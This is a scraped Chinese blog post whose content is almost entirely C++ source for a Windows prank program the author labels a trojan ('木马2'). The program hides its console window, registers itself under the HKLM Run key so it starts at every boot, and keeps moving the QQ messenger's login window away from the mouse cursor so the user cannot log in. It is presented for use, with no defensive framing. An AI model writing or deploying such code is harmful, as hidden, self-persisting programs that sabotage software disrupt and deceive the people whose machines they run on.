c/c++之调戏QQ,让QQ无法登陆

来源:互联网 发布:linux设置dns命令 编辑:程序博客网 时间:2024/04/30 22:27
// FondWindowDemo.cpp : 定义控制台应用程序的入口点。
//


#include "stdafx.h"
#include <stdlib.h>
#include <time.h>
#include <windows.h>
int x = 0, y = 0;


BOOL CALLBACK EnumWindowsProc(
_In_ HWND   hwnd,
_In_ LPARAM lParam
)
{
wchar_t Window_Name_c[MAXBYTE] = { 0 };
GetWindowTextW(hwnd, Window_Name_c, MAXBYTE);//获取指定窗口的标题
if (wcscmp(Window_Name_c, L"QQ") == 0)
{
POINT p = { 0 };
GetCursorPos(&p);//获取鼠标的坐标
RECT rect = { 0 };
GetWindowRect(hwnd,&rect);//获取指定窗口的窗口区域
x = rand() % (1366-rect.right+rect.left);
y = rand() % (768-rect.bottom+rect.top);
if (p.x>rect.left&&p.x<rect.right&&p.y>rect.top&&p.y<rect.bottom)
{
           MoveWindow(hwnd, x, y,rect.right-rect.left ,rect.bottom-rect.top , true);
}


}
return true;
}


int _tmain(int argc, _TCHAR* argv[])
{
void AutoRun();
AutoRun();
HWND c_hWnd;
SetConsoleTitleW(L"木马2");
//c_hWnd =FindWindow(nullptr, L"木马2");
c_hWnd = GetConsoleWindow();//获取控制台的窗口句柄
ShowWindow(c_hWnd, SW_HIDE);//隐藏控制台的窗口
srand(time(nullptr));
while (true)
{
EnumWindows(EnumWindowsProc, NULL);//枚举出当前活动的所有窗口,并与并把枚举出的窗口句柄传入BOOL CALLBACK EnumWindowsProc这个回调函数

}


return 0;
}
void AutoRun()//对注册表的操作,实现开机自启
{
HKEY hKey = { 0 };//令牌句柄
DWORD err = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != err)
{
printf("RegOpenKeyExW失败了,error code:%d\r\n", err);
}
//要知道当前路径
char szPath[MAXBYTE] = { 0 };
err = GetModuleFileNameA(nullptr, szPath, MAXBYTE);
if (0 == err)
{
printf("RegOpenKeyExWA失败了,error code:%d\r\n", err);
}
err = RegSetValueExA(hKey, "AutoRun1", 0, REG_SZ, (byte*)szPath, strlen(szPath));
if (ERROR_SUCCESS != err)
{
printf("RegSetValueExA失败了,error code:%d\r\n", err);
}
}
0 0
原创粉丝点击